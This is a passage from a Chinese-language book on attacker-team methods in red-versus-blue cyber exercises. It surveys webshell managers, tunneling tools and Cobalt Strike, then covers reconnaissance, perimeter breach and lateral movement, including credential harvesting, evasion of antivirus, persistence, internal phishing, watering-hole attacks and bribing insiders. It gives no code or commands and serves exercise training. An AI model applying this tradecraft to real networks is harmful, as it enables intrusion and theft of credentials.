Xshell远程连接界面 (2)SecureCRT SecureCRT是一款终端仿真程序,支持Windows下远程登录Unix或 Linux服务器主机。SecureCRT支持SSH,同时支持Telnet和rlogin协 议,是一款用于连接运行Windows、Unix和VMS的远程系统的理想工具 (见图2-14)。 (3)PuTTY PuTTY是一个串行接口连接软件,可用于远程登录控制功能,支持 对Windows平台、各类Unix平台SSH、Telnet、Serial等协议的连接 (见图2-15)。 图2-14 SecureCRT初始连接界面 图2-15 PuTTY连接配置截图 (4)Navicat Navicat是一款数据库管理工具,可用来方便地管理MySQL、 Oracle、PostgreSQL、SQLite、SQL Server、MariaDB和MongoDB等不 同类型的数据库,并与Amazon RDS、Amazon Aurora、Oracle Cloud、 Microsoft Azure、阿里云、腾讯云和华为云等云数据库管理兼容,支 持同时创建多个连接、无缝数据迁移、SQL编辑、数据库设计和高级安 全连接等功能(见图2-16)。 图2-16 Navicat管理维护数据库 6. Webshell管理工具 蓝队主要利用Webshell管理工具对攻击载荷进行管理和运用,借 助Webshell规避免杀、远程注入和跨网间隐蔽通信等技术实现对目标 系统的渗透拓展。 (1)冰蝎 冰蝎(Behinder)是一个动态二进制加密网站管理客户端,基于 Java,可以跨平台使用,因其优秀的跨平台兼容性和加密传输特性而 被攻击者广泛采用。冰蝎集成了命令执行、虚拟终端、文件管理、 SOCKS代理、反弹shell、数据库管理、自定义代码、Java内存马注 入、支持多种Web容器、反向DMZ等功能(见图2-17)。 (2)中国蚁剑 中国蚁剑(AntSword)是一款开源的跨平台网站管理工具,也是 一款非常优秀的Webshell管理工具。它集成了shell代理、shell管 理、文件管理、虚拟终端和数据库管理功能,通过自定义编码器支持 攻击载荷加密或编码免杀实现WAF、防火墙等一些防御手段规避绕过, 通过丰富的插件库支持自定义载荷实现静态、动态免杀,进而实现 Webshell高效渗透利用(见图2-18)。 图2-17 冰蝎界面 图2-18 利用中国蚁剑连接初始化 (3)哥斯拉 哥斯拉(Godzilla)是一款相对较新的Webshell管理工具,它基 于Java开发,具有较强的各类shell静态查杀规避和流量加密WAF绕过 优势,且自带众多拓展插件,支持对载荷进行AES等各种加密、自定义 HTTP头、内存shell以及丰富的Webshell功能(见图2-19)。 图2-19 哥斯拉远程管理 7. 内网穿透工具 出于业务安全需要,目标网络内部应用多无法直接出网。蓝队在 攻击过程中需要利用内网穿透工具实现外网到内网的跨边界跳转访 问,借助端口转发、隧道技术等手段对内网目标实现转发访问或将目 标内网IP映射到外网,并在远控客户端和被攻击目标终端之间建立一 个安全通信通道,为进一步从外到内渗透拓展提供便利。 (1)FRP FRP是一个可用于内网穿透的高性能反向代理工具,支持TCP、 UDP、HTTP、HTTPS等协议类型,主要利用处于内网或防火墙后的机 器,对外网环境提供HTTP或HTTPS服务,支持加密传输和点对点穿透 (见图2-20)。 (2)ngrok ngrok是一个开源的反向代理工具。蓝队可利用ngrok将边界服务 器(如Web服务器)作为反向代理服务器,在客户端和目标边界服务器 之间建立一个安全通道,客户端可通过反向代理服务器间接访问后端 不同服务器上的资源(见图2-21)。 图2-20 FRP服务端和客户端配置文件 图2-21 ngrok用法示例 (3)reGeorg reGeorg是一款利用Web进行代理的工具,可用于在目标服务器在 内网或做了端口策略的情况下连接目标服务器内部开放端口,利用 Webshell建立一个SOCKS代理进行内网穿透,将内网服务器的端口通过 HTTP/HTTPS隧道转发到本机,形成通信回路(见图2-22)。 (4)SSH Secure Shell(SSH)是专为远程登录会话和其他网络服务提供安 全性的协议,支持SOCKS代理和端口转发。SSH的端口转发就是利用SSH 作为中间代理,绕过两个网络之间的限制,顺利进行任意端口的访 问。SSH适用于多种平台,Linux系统环境下自带该工具,Windows环境 下需要借助SecureCRT或Putty等工具实现SSH访问操作。 图2-22 reGeorg模拟扫描 (5)Netsh Netsh(Network Shell)是Windows系统自带的网络配置命令行脚 本工具,可用来通过修改本地或远程网络配置实现端口转发功能,支 持配置从IPv4或IPv6端口转发代理,或者IPv4与IPv6的双向端口转发 代理。 8. 网络抓包分析工具 网络抓包分析工具是拦截并查看网络数据包内容的软件工具,可 对通信过程中的网络数据的所有IP报文进行捕获并逐层拆包分析,从 中提取有用信息。借助网络抓包分析工具,蓝队可进行目标网络通联 分析、攻击工具通信分析和安全通信认证信息截获等操作。 (1)Wireshark Wireshark是一款非常常用的网络抓包分析软件,提供抓取网络封 包、显示封包资料、检测网络通信数据、查看网络通信数据包中的详 细内容等非常实用的功能,更强大的功能有包含强显示过滤器语言和 查看TCP会话重构流的能力,支持上百种协议和媒体类型,实时检测通 信数据,检测其抓取的通信数据快照文件等(见图2-23)。 图2-23 Wireshark数据抓包示例 (2)Fiddler Fiddler是一个非常好用的HTTP调试抓包工具,该数据抓包工具能 记录所有客户端与服务器的HTTP和HTTPS请求,允许用户监视,设置断 点,对通过网络传输发送与接收的数据包进行截获、重发、编辑、转 存等操作,用其检测与调试Web浏览器和服务器的交互情况(见图2- 24)。 图2-24 Fiddler网络数据调试 (3)tcpdump tcpdump是Linux平台下一款非常知名、非常强大的网络抓包分析 工具,它可以将网络中传送的数据包完全截获下来提供分析。不仅支 持针对网络层、协议、主机、网络或端口的过滤,还支持功能强大和 灵活的截取策略,实现对网络数据的筛选和分组输出(见图2-25)。 图2-25 tcpdump抓包示例 9. 开源集成工具平台 (1)Linux集成环境(Kali) Kali是基于Debian的Linux免费发行版,预装了许多渗透测试软 件,集成了包括Metasploit在内的超过300个渗透测试工具。 (2)Windows集成环境(Commando VM) Commando VM是基于Windows的高度可定制的渗透测试虚拟机环 境,集成了超过140个开源Windows工具,包含一系列常用的工具,比 如Python和Go编程语言,Nmap和Wireshark网络扫描器,Burp Suite之 类的网络安全测试框架,以及Sysinternals、Mimikatz等Windows安全 工具。 (3)Cobalt Strike Cobalt Strike是一款由美国Red Team开发的渗透测试神器,常被 业界人士称为CS。CS采用Metasploit为基础的渗透测试GUI框架,支持 多种协议上线方式,集成了Socket代理、端口转发、Office攻击、文 件捆绑、钓鱼、提权、凭证导出、服务扫描、自动化溢出、多模式端 口监听、exe和PowerShell木马生成等功能。 (4)Burp Suite Burp Suite是用于攻击Web应用程序的集成平台,包含许多工具, 集成了Web访问代理、Web数据拦截与修改、网络爬虫、枚举探测、数 据编解码等一系列功能。Burp Suite为这些工具设计了许多接口,可 以加快攻击应用程序的部署与调用。 2.1.2 专业技能储备 专业技能是蓝队快速应对攻击任务中各种情况、解决各种困难问 题、顺利推进任务的保障。蓝队的专业技能储备涉及漏洞、工具、战 法策略等多方面,主要有以下4种。 1. 工具开发技能 “工欲善其事,必先利其器。”对于蓝队来说也一样,好的攻击 工具往往能起到事半功倍的效果。通过公开手段常常能搜集到好用的 开源工具,但公开特征太过明显,往往容易被防守方态势感知系统和 防火墙发现并拦截,从而极大地影响工作效率,因此需要借助自主开 发或开源工具改版来开展工作。熟练的工具开发技能,可以让蓝队通 过借鉴他人的高效思路,快速实现新的工具开发或对原有工具软件架 构和模块功能的针对性改进,为攻击工作提供有力的工具保障。 2. 漏洞挖掘技能 漏洞挖掘技能是利用动态或静态调试方法,通过白盒或黑盒代码 审计,对程序代码流程和数据流程进行深入分析与调试,分析各类应 用、系统所包含的编程语言、系统内部设计、设计模式、协议、框架 的缺陷,并利用此类缺陷执行一些额外的恶意代码实现攻击破坏的能 力。对于蓝队来说,漏洞是大杀器,往往能起到一招毙命的效果。前 期的漏洞准备对于外网打开突破口和内网横向拓展都非常重要,但公 开的漏洞往往由于时效问题作用有限,而自主挖掘的0day却总能作为 秘密武器出奇制胜,同时漏洞贡献能力是蓝队在实战攻防演练中的一 个重要的得分项。因此,蓝队需要有足够多的漏洞挖掘技能储备,尤 其是与蓝队攻击密切相关的互联网边界应用、网络设备、办公应用、 移动办公、运维系统、集权管控等方面的漏洞挖掘技能。 3. 代码调试技能 代码调试技能是对各类系统、应用、平台或工具的代码进行的分 析、解读、调试与审计等一系列技术能力。蓝队攻击中情况千变万 化,面对的系统、应用、平台或工具各式各样,很少能用一成不变的 模式应对所有情况,这就需要通过代码调试技能快速分析研判并寻找 解决方法。只有具备良好的代码调试能力,蓝队才能快速应对各种情 况,比如:针对攻击过程中获取的一些程序源码,需要运用代码调试 技能对其进行解读和代码审计,以快速发现程序bug并利用;漏洞挖掘 过程中,需要对某些未知程序和软件的逆向分析与白盒/黑盒代码审计 能力;注入攻击过程中,对于一些注入异常,需要对注入代码进行解 析和调试,通过代码变形转换实现规避;蓝队使用的渗透工具经常会 被杀毒软件拦截或查杀,这时需要运用代码调试技能快速定位查杀点 或特征行为,实现快速免杀应对;等等。 4. 侦破拓展技能 侦破拓展技能是在渗透攻击过程中对渗透工具使用、关键节点研 判、渗透技巧把握、战法策略运用等一系列技能的综合体现。实战攻 防演练存在时间短、任务紧的特点,因此对蓝队在侦破拓展技能方面 就有比较高的要求。侦破拓展技能是建立在蓝队丰富的实战经验积累 上的,是经验向效率转换的直接体现。蓝队良好侦破拓展技能主要表 现在三方面:一是对攻防一体理念的深刻理解,作为攻击者,可以从 防守者的角度思考问题,能快速定位防守弱点和突破口;二是对目标 网络和系统的正确认识,能根据不同攻击目标快速确定攻击策略和战 法,针对性开展攻击工作;三是对渗透工具的高效运用,能快速根据 攻击策略实现对各类工具的部署应用,能够快速将攻击思路转化为实 践,高效开展攻击工作。 2.1.3 人才队伍储备 蓝队不可能是一个人,而是一支由各类网络安全专长人才组成的 综合技能队伍。因为网络安全建设涵盖了软件应用、硬件部署、网络 架构和数据安全等多方面,所以开展网络攻击的人也必须具备包括代 码调试、逆向工程、系统攻击和数据分析在内的许多专业技术知识, 而一个人不可能同时专精于所有这些专业技术知识。蓝队攻击队伍需 要各类专长人才进行搭配组合,团队人员包括拥有情报搜集、渗透拓 展、工具开发、漏洞挖掘与免杀等各类特长的人员。人才队伍是各项 技能的载体,有了充足而全面的人才队伍储备,蓝队就可以从容应对 攻击任务中的各类情况,有效解决各类专业问题。各类专长人才的科 学组合是一支蓝队队伍高水平的体现(见图2-26)。 图2-26 综合团队是蓝队高效运转的基础 2.2 目标网情搜集 2.2.1 何为网情搜集 网情搜集是指围绕攻击目标系统的网络架构、IT资产、敏感信 息、组织管理与供应商等方面进行的情报搜集。网情搜集是为蓝队攻 击的具体实施做情报准备,是蓝队攻击工作的基础,目的在于帮助蓝 队在攻击过程中快速定位薄弱点和采取正确的攻击路径,并为后两个 阶段的工作提供针对性的建议,从而提高蓝队攻击工作效率和渗透成 功率。比如:掌握了目标企业的相关人员信息和组织架构,就可以快 速定位关键人物以便实施鱼叉攻击,或者确定内网横纵向渗透路径; 而收集了IT资产信息,就可以为漏洞发现和利用提供数据支撑;掌握 企业与供应商合作的相关信息,可为有针对性地开展供应链攻击提供 素材。而究竟是要社工钓鱼,还是直接利用漏洞攻击,抑或从供应链 下手,一般取决于安全防护的薄弱环节究竟在哪里,以及蓝队对攻击 路径的选择(见图2-27)。 图2-27 网情搜集工作 2.2.2 网情搜集的主要工作 网情搜集的内容主要包括目标系统的组织架构、IT资产、敏感信 息、供应商信息等方面: ·组织架构包括单位部门划分、人员信息、工作职能、下属单位 等; ·IT资产包括域名、IP、C段、开放端口、运行服务、Web中间 件、Web应用、移动应用、网络架构等; ·敏感信息包括代码信息、文档信息、邮箱信息、历史漏洞信息 等; ·供应商信息包括合同、系统、软件、硬件、代码、服务、人员 等的相关信息。 2.2.3 网情搜集的途径 1. 专业网站 (1)专业网络信息网站 通过专业网络信息网站搜集目标的IP范围、域名、互联网侧开放 服务端口、设备指纹与网络管理等相关信息。下面介绍几个比较典型 的网络信息查询网站。 1)Shodan(https://www.shodan.io)。Shodan是互联网上著名 的搜索引擎,百度百科里这样描述:“Shodan可以说是一款‘黑 暗’谷歌,一刻不停地在寻找着所有和互联网关联的服务器、摄像 头、打印机、路由器等。”Shodan爬取的是互联网上所有设备的IP地 址及其端口号,其官网提供了强大的搜索功能,可通过IP、域名、设 备进行条件搜索,获取大量有价值的网络信息。 2)Censys(https://censys.io)。Censys也是一款用以搜索联 网设备信息的新型搜索引擎,其功能与Shodan十分相似。与Shodan相 比,其优势在于它是一款由谷歌提供支持的免费搜索引擎。Censys搜 索引擎能够扫描整个互联网,蓝队常将它作为前期侦查攻击目标、搜 集目标信息的利器。 3)ZoomEye(https://www.zoomeye.org)。中文名字“钟馗之 眼”,是国内一款类似于Shodan的搜索引擎。ZoomEye官网提供了两部 分数据资源搜索:网站组件指纹,包括操作系统、Web服务、服务端语 言、Web开发框架、Web应用、前端库及第三方组件等;终端设备指 纹,主要对NMAP大规模扫描结果进行整合。 4)FOFA(https://fofa.so)。FOFA(网络空间资产检索系统) 也是一款网络设备搜索引擎,号称拥有更全的全球联网IT设备的DNA信 息,数据覆盖更完整。通过其官网可搜索全球互联网的资产信息,进 行资产及漏洞影响范围分析、应用分布统计、应用流行度态势感知 等。 5)APNIC(https://www.apnic.net)。APNIC提供全球性的支持 互联网操作的分派和注册服务。通过其官网可对公共APNIC Whois数据 库进行查询,获取目标网络IP地址、域名网络服务提供商、国家互联 网登记等相关信息。 6)CNNIC(http://www.cnnic.net.cn)。CNNIC负责国家网络基 础资源的相关信息维护管理,可提供Whois相关查询服务。 (2)专业开发资源网站 此类网站提供系统开发资源支持,大量开发人员常在此类网站上 使用Git或SVN进行版本控制。如果有目标系统应用源码被不小心公布 在此类网站,常常会导致非常严重的信息泄露。此类网站是蓝队攻击 利用的重要途径之一。 1)https://github.com。GitHub是世界上最大的代码托管平台, 目前有超过5000万开发者在使用。GitHub社区是一个致力于分享和传 播GitHub上优质开源项目的社区平台,用户可从中获取大量开发部署 资源。蓝队可以利用该平台搜索目标系统的一些开发信息。 2)https://gitee.com。Gitee是国内厂商推出的基于Git的代码 托管服务,和GitHub一样提供开源资源搜索支持,但资源相对较少。 3)https://www.lingfengyun.com/。凌风云是国内专业团队在大 数据、云计算的基础上精心研发的新一代互联网平台,具备专业的免 费资源垂直搜索引擎功能,可搜索百度网盘、新浪微盘、天翼云盘、 腾讯微盘等多个网盘中公开分享的资源,支持关键词检索和大量数据 库查询。 2. 目标官网 目标官网经常会发布一些有关网络建设的新闻消息,这些信息也 是蓝队在进行网情搜集时需要的重要信息。在官网上可主要围绕目标 组织管理架构、网络建设情况进行信息搜集,可通过关注目标网络建 设招标情况、网络项目介绍、设备供应商合作等搜集有价值的信息。 3. 社会工程学 社会工程学手段主要从目标系统内部人员入手,通过拉拢、收买 等手段间接获取目标系统相关的情况信息来开展网情搜集,常用的手 段主要有熟人打听、买通内部人员、与客服沟通来套取和打探等。 4. 扫描探测 扫描探测主要是借助扫描工具,对目标网络设备指纹、系统版 本、平台架构、开放服务端口进行扫描,以发掘可能存在的漏洞信 息。扫描探测主要完成以下几方面的信息搜集。 1)地址扫描探测。主要利用ARP、ICMP请求目标IP或网段,通过 回应消息获取目标网段中存活机器的IP地址和MAC地址,进而掌握拓扑 结构。 2)端口扫描探测。端口扫描是扫描行为中用得最多的,可以快速 获取目标机器开启端口和服务的情况。 3)设备指纹探测。根据扫描返回的数据包匹配TCP/IP协议栈指纹 来识别不同的操作系统和设备。 4)漏洞扫描。通过扫描等手段对指定的远程或本地计算机系统的 安全脆弱性进行检测,发现可利用的漏洞。漏洞扫描可细分为网络漏 扫、主机漏扫、数据库漏扫等不同种类。 2.3 外网纵向突破 2.3.1 何为外网纵向突破 如果将目标网络比作一座城池,那么蓝队就是攻城者,而外网纵 向突破就好比在城墙上打开突破口进入城内。蓝队在对一个目标网络 实施攻击时,首先就是寻找目标系统互联网侧薄弱点,然后利用这些 薄弱点突破外网,进入目标网络内网。这个由外网突破、进入内网的 过程一般称为“纵向突破”。外部纵向突破的重点是寻找突破口,主 要就是依据网情搜集阶段获取的相关信息进行针对性测试,直至利用 不同的纵向突破手段打开突破口。 2.3.2 外网纵向突破的主要工作 在外网纵向突破阶段,蓝队的主要工作就是围绕目标网络突破口 开展渗透测试,通过获取必要的安全认证信息或漏洞利用获取控制权 限。因为一般网络对外开放的接口非常有限,能从外部接触到的只有 Web网站、外部邮件系统、边界网络设备、外部应用平台,所以外网纵 向突破工作的重点也在这些接口上(见图2-28)。 图2-28 外网主要突破口 2.3.3 外网纵向突破的途径 蓝队在外部纵向突破中主要采用两种途径:一种是利用各种手段 获取目标网络的一些敏感信息,如登录口令、安全认证或网络安全配 置等;另一种就是通过漏洞利用,实现对目标网络外部接口如Web网 站、外部邮件系统、边界网络设备和外部应用平台的突破。目标网络 在互联网侧对外暴露面非常有限,蓝队纵向突破口也是以这些目标对 外暴露面为切入点展开攻击。蓝队能够利用的突破口主要有以下几 种。 1. Web网站 主要针对门户官网、网上办公、信息平台等Web入口进行突破,通 过Web入口存在的安全缺陷控制Web后台服务器,并进一步向内网渗 透。突破方式以漏洞利用为主,包括SQL注入、跨站脚本攻击、未加密 登录请求、弱口令、目录遍历、敏感文件泄露与文件上传漏洞等。另 外,存在较多漏洞的是一些Web平台组件,比如WebLogic、 WebSphere、Tomcat、Apache、Nginx、IIS和Web脚本平台等。最近被 利用得比较多的反序列化漏洞就主要是Web平台组件导致的。 2. 外部邮件系统 主要针对目标网络外部邮件系统进行突破,目标是控制外部邮件 系统后台服务器,并以此为跳板向目标网络内网渗透。突破方式有利 用邮件系统安全认证缺陷、利用邮件系统组件漏洞、口令暴力破解、 系统撞库、网络数据监听与社工等手段。 3. 边界网络设备 主要针对暴露在外网的防火墙、边界网关和路由进行突破,目标 是控制这些边界设备,并进一步利用它们的通联优势向内网渗透。主 要方式是利用这些互联网接口防火墙、边界网关和路由支持开放的 HTTP、HTTPS、Telnet、FTP、SSH与网络代理服务,通过远程溢出、远 程执行漏洞、安全规则配置不当、口令猜破与社工手段,对一些开放 的重要服务和端口进行渗透。比较典型的例子有VPN网关仿冒接入突 破。 4. 外部应用平台 主要针对外部应用平台,比如业务系统、OA、报表系统、微信公 众号平台、大数据平台等,利用其基础构件、网络代理组件、应用后 台数据库或平台应用程序本身的设计缺陷进行突破。云平台的渗透和 常规的渗透是没有任何区别的:从技术角度来讲,云平台只是多了一 些虚拟化技术应用,本质与传统网络一样,虚拟资产信息也大多可以 通过扫描探测被发现;云平台也会存在常规的安全漏洞,如SQL注入、 弱口令、未授权操作、命令执行、文件上传、敏感信息泄露等。 2.4 内网横向拓展 2.4.1 何为内网横向拓展 横向拓展,通常是指攻击者攻破某台内网终端或主机设备后,以 此为基础,对相同网络环境中的其他设备发起的攻击活动;但也常常 被用来泛指攻击者进入内网后的各种攻击活动。不同于外网纵向突破 阶段由外到内的渗透过程,蓝队的内网横向拓展主要是指在突破进入 目标网络内网以后,在内网主机、系统应用、服务器和网络设备等网 络资产之间的跳转、控制、渗透过程(见图2-29)。 图2-29 内网横向拓展主要流程 2.4.2 内网横向拓展的主要工作 蓝队在内网横向拓展阶段的主要工作就是围绕靶标等内网核心目 标,在内网快速横向渗透拓展,实现控制权限最大化,最终达到攻击 目标。进入目标内网后,蓝队才真正有机会接触到目标网络核心的东 西。实现在内网快速拓展、定位控制内网重要目标是一项细致、烦琐 的工作,主要工作包含以下几方面。 1. 内网信息搜集 蓝队在内网横向拓展的效率取决于其对目标内部网络的熟悉程 度,而对目标内部网络整体架构、VLAN划分、部门间网络隔离、关键 网络节点部署和重要部门或人员网络内精确定位等信息的掌握则是内 网快速横向拓展的关键。因此,蓝队在内网横向拓展阶段需要尽可能 多地搜集有关内网网络部署、关键网络节点、核心业务目标的信息, 实现对内网信息最大限度的了解,为内网进一步拓展提供情报支持。 内网信息搜集的重点主要有以下几方面: ·内网存活的IP以及存活IP开放的端口和服务; ·主机和服务器性质,判断设备所在区域是DMZ区、办公区还是 服务器区,作用是文件服务器、Web服务器、代理服务器、DNS服务 器、邮件服务器、病毒服务器、日志服务器、数据库服务器等之中的 哪一个; ·内网的网络拓扑、VLAN划分、各网络节点和网段间的连通 性; ·内网通用的杀毒软件、防火墙、终端操作系统、OA办公软件、 即时通信软件或其他应用系统。 目标网情搜集中有关目标组织架构、网络建设、设备部署以及网 络管理部门与关键管理人员的信息都会在内网拓展中起到相应的作 用。 2. 重要目标定位 蓝队在内网横向拓展过程中对重要目标进行快速定位有两个好 处:一是这些内网重要目标大多有网络部署、安全认证、核心业务等 的重要信息,获取这些重要信息将对内网横向拓展具有极大帮助;二 是这些重要目标多具有非常好的内网通联性,借助其内网通联优势, 可快速在目标内网实现横向拓展。这些内网重要目标包含内网关键服 务器和内网重要主机。 ·内网关键服务器:内网UTM、云管平台、文件服务器、邮件服 务器、病毒服务器、堡垒机、域控服务器、综管平台或核心网关。 ·内网重要主机:核心业务部门主机、网络管理员主机、部门领 导主机。 3. 内网渗透拓展 不同于外网纵向突破侧重于薄弱点的寻找和利用,蓝队内网渗透 拓展的重点是安全认证信息和控制权限的获取。在内网渗透拓展过程 中,蓝队会利用各种渗透手段,对内网邮件服务器、OA系统、堡垒 机、域控服务器、综管平台、统一认证系统、核心网关路由和重要主 机等各类重要目标进行渗透控制,尝试突破核心系统权限、控制核心 业务、获取核心数据,最终实现对攻防演练靶标的控制。因为目标网 络内外网安全防护的不同,攻击过程的实现手段各有侧重。内网渗透 拓展的主要实现手段有内网漏洞利用、口令复用或弱口令、仿冒认证 登录、内网水坑钓鱼等。 4. 内网控制维持 蓝队在攻击的过程中经常会面临目标网络安全防护、内外网隔离 以及目标人员工作开机时间等各种条件的限制,为保证攻击的顺利进 行,蓝队需要根据这些条件限制从内网控制维持方面采取措施进行应 对,主要工作包括渗透工具存活、隐蔽通信、隧道技术出网和控制驻 留四方面。 ·针对内网杀毒软件可能导致的渗透工具被查杀的情况,对渗透 工具针对性地进行免杀修改或利用白名单机制进行规避。 ·针对目标网络安全防护对异常流量、危险动作的监控可能导致 蓝队攻击被拦截的情况,采用通信数据加密、合法进程注入等隐蔽通 信进行隐藏。 ·针对内外网隔离,内网不能直接出网的情况,采用端口映射或 隧道技术进行网络代理穿透。 ·针对目标主机或设备工作时间开机限制导致无法持续的情况, 采用对蓝队远控工具进行控制驻留维持的措施,主要通过注册表、服 务、系统计划任务、常用软件捆绑替代实现自启动驻留。 5. 内网提权 蓝队在攻击过程中,通过渗透拓展获取的应用系统、服务器、个 人终端主机等目标的控制权限不一定是最大的,可能只是普通应用或 用户权限,后续的一些攻击动作常常会因为权限不足而受到限制或无 法开展,这就需要通过提权操作来将初步获取的普通权限提升到较高 权限,以方便进行下一步的操作。用到的提权操作主要有以下四类。 1)系统账户提权。主要是将操作系统普通账户权限提升为管理员 权限,主要通过一些系统提权漏洞实现,比如比较新的Windows系统的 本地提权漏洞(CVE-2021-1732)和Linux系统的sudo提权漏洞(CVE- 2021-3156)。 2)数据库提权。主要是通过获取的数据库管理权限,进一步操作 本地配置文件写入或执行命令来获取本地服务器权限。 3)Web Server应用提权。主要是通过获取的Web应用管理权限, 利用Web应用可能存在的缺陷来执行一些系统命令,达到获取本地服务 器系统控制权限的目的。 4)虚拟机逃逸。虚拟机逃逸是指通过虚拟应用权限获取宿主物理 机控制权限,主要通过虚拟机软件或者虚拟机中运行的软件的漏洞利 用,达到攻击或控制虚拟机宿主操作系统的目的。随着虚拟化应用越 来越普遍,通过虚拟机逃逸来实现提权的情况会越来越多。 2.4.3 内网横向拓展的途径 大多数内网存在VLAN跨网段隔离不严、共享服务器管理或访问权 限分配混乱、内部数据或应用系统开放服务或端口较多、内网防火墙 或网关设备固件版本陈旧、终端设备系统补丁更新不及时等问题,导 致内部网络防守比较薄弱,所以蓝队在内网横向拓展中采取的手段会 更加丰富多样。同时,因为内网具有通联性优势,所以内网横向拓展 工作主要围绕通联安全认证的获取与运用开展,主要途径有以下几 种。 1. 内网漏洞利用 内网漏洞利用是内网横向拓展最主要的途径。进入目标内网后, 蓝队能接触到目标网络内部更多的应用和设备,这些内网目标存在比 外网多得多的漏洞,漏洞类型也是各式各样。 内网漏洞往往具有三个特点:一是内网漏洞以历史漏洞为主,因 为内网多受到业务安全限制,无法直接访问互联网,各类应用和设备 漏洞补丁很难及时更新;二是漏洞利用容易,内网通联性好,端口服 务开放较多,安全策略限制也很少,这些都为内网漏洞利用提供了极 大的便利;三是内网漏洞多具有通用性,因为目标网络多有行业特 色,内网部署的业务应用、系统平台多基于同一平台或基础架构实 现,容易导致同一漏洞通杀各部门或分节点的情况。 上述特点导致内网漏洞利用难度很小,杀伤力极大,因此内网拓 展中的漏洞利用成功率非常高,造成的危害往往也非常严重,尤其是 内网中的综管平台、堡垒机、OA系统、内网邮件服务器等重要网络节 点若是存在漏洞,往往会导致整个网络被一锅端。比如:历年实战攻 防演练中,经常被利用的通用产品漏洞就包括邮件系统漏洞、OA系统 漏洞、中间件软件漏洞、数据库漏洞等,这些漏洞被利用后,攻击队 可以快速获取大量内网账户权限,进而控制整个目标系统(见图2- 30)。 2. 口令复用或弱口令 口令复用或弱口令是内网横向拓展中仅次于内网漏洞利用的有效 途径。受“处于内网中被保护”的心理影响,一般目标内网中口令复 用和弱口令情况普遍存在。口令复用的原因主要有两个:一是内网多 由少数几个固定的人维护,运维人员出于省事的目的,喜欢一个口令 通用到底;二是内网经常需要部署大量同样类型的服务器或应用,多 直接通过克隆实现,但在克隆部署完毕后也不对初始密码等关键信息 进行修改。弱口令则是内网安全防护意识不足导致的,使用者以为在 内网一切都可以安枕无忧,没有认识到内网安全和外网安全具有同等 的重要性。 图2-30 SMB漏洞是内网重要拓展手段 口令复用或弱口令极易导致内网弱认证,另外,使用者为贪图内 网办公方便,而往往将内网服务器和应用安全访问策略设置得比较宽 松,也为蓝队在内网横向拓展中利用口令认证仿冒渗透提供了很大的 便利。比如:在实战攻防演练中,经常会碰到目标内网存在大量同类 型服务器、安全设备、系统主机使用同一口令的情况,攻击者只要获 取一个口令就可以实现对大量目标的批量控制;再有就是内网的一些 集成平台或数据库,被设置为自动化部署应用但其默认口令没有修 改,被利用的难度几乎为零。 3. 安全认证信息利用 内网安全认证信息包括搜集服务器自身安全配置、远控终端配 置、口令字典文件、个人主机认证缓存或系统口令Hash等。这些安全 认证信息的利用是蓝队攻击过程中实现内网横向拓展的重要途径,因 为蓝队在内网横向拓展的最终目的就是获取内网控制权限,而内网控 制权限的大小与获取内网安全认证信息多少密切相关。有效的内网安 全认证信息可以使蓝队快速定位关键目标并实现接入拓展,可以说, 一切内网横向拓展的工作都需要围绕安全认证信息的获取来进行。内 网安全认证信息获取的重点有以下这些: ·重要口令字典文档或配置文件,包括网络拓扑文件、口令文 件、各类基础服务安全配置文件; ·Windows凭据管理器或注册表中保存的各类连接账号密码、系统 组策略目录中XML里保存的密码Hash; ·邮件客户端工具中保存的各种邮箱账号密码,包括Foxmail、 Thunderbird、Outlook等; ·远控客户端保存的安全认证信息,比如VNC、SSH、VPN、 SVN、FTP等客户端; ·Hash获取的口令信息,比如域网络用户Hash、个人主机用户 Hash、网络用户token等; ·各类数据库账号密码,包括数据库连接文件或数据库客户端工 具中保存的各种数据库连接账号密码; ·浏览器中保存的各种Web登录密码和cookie信息,包括IE、 Chrome、Firefox、360浏览器、QQ浏览器等(见图2-31)。 图2-31 IE浏览器缓存认证获取示例 4. 内网钓鱼 不同于外网钓鱼存在条件限制,内网钓鱼具有天然的信任优势可 以利用,所以内网钓鱼的成功率要高得多。蓝队在内网钓鱼中追求的 是一击必中,对目标的选择具有很强的针对性,主要针对网络安全运 维人员、核心业务人员这些重要目标,因为攻下了这些目标,就意味 着可以获取更大的网络控制权限和接触核心业务系统的机会。内网钓 鱼的途径比较多,可以借助内网邮件、OA与内网移动办公系统等。主 要有两种情况:一种是在控制内网邮件、OA、移动办公系统服务器的 情况下,利用这些系统管理权限统一下发通知方式定向钓鱼;另一种 是在获取内网有限目标的情况下,利用在控目标通过内网邮件、OA、 移动办公系统的通联关系,冒充信任关系钓鱼。 5. 内网水坑攻击 水坑攻击,顾名思义,是在受害者必经之路设置一个“水坑” (陷阱)。常见的做法是黑客在突破和控制被攻击目标经常访问的网 站后,在此网站植入恶意攻击代码,被攻击目标一旦访问该网站就会 “中招”。蓝队在实战攻防演练中用到的水坑攻击途径更加丰富多 样,除了内部网站恶意代码植入,内网文件服务器文件共享、软件服 务器软件版本更新、杀软服务器病毒库升级和内部业务OA自动化部署 等,都可以作为内网水坑攻击的利用方式。和内网钓鱼一样,因为有 内网信任关系,蓝队在实战攻防演练中用到的水坑攻击效率也比较 高。 第3章 蓝队常用的攻击手段 在实战过程中,蓝队专家根据实战攻防演练的任务特点逐渐总结 出一套成熟的做法:外网纵向突破重点寻找薄弱点,围绕薄弱点,利 用各种攻击手段实现突破;内网横向拓展以突破点为支点,利用各种 攻击手段在内网以点带面实现横向拓展,遍地开花。实战攻防演练 中,各种攻击手段的运用往往不是孤立的,而是相互交叉配合的,某 一渗透拓展步骤很难只通过一种手段实现,通常需要同时运用两种或 两种以上的手段才能成功。外网纵向突破和内网横向拓展使用的攻击 手段大多类似,区别只在于因为目标外网、内网安全防护特点不同而 侧重不同的攻击手段(见图3-1)。 总体来说,蓝队在攻防演练中常用的攻击手段有以下几类。 3.1 漏洞利用 漏洞是网络硬件、软件、协议的具体实现或操作系统安全策略上 存在的缺陷,漏洞利用是对攻击者利用上述安全缺陷实现未授权访 问、非法获取目标系统控制权或破坏系统的一系列恶意操作的统称。 漏洞分为0day漏洞和Nday漏洞。0day漏洞是指在产品开发者或供应商 未知的情况下被攻击者所掌握和利用的安全缺陷,0day漏洞没有可用 的补丁程序,所以具有更强的隐蔽性和杀伤力。Nday漏洞则是指在产 品漏洞信息已经公开的情况下,仍未对存在的漏洞采取安全补救措施 而导致的依旧存在的安全缺陷,Nday漏洞的存在依然会对目标网络具 有严重的安全威胁。在实战攻防演练中,漏洞利用是蓝队攻击最重要 的实现手段之一,通过漏洞利用,蓝队可以在目标外网实现快速突 破,在目标内网快速获取控制权限。攻防实战中蓝队常用的漏洞利用 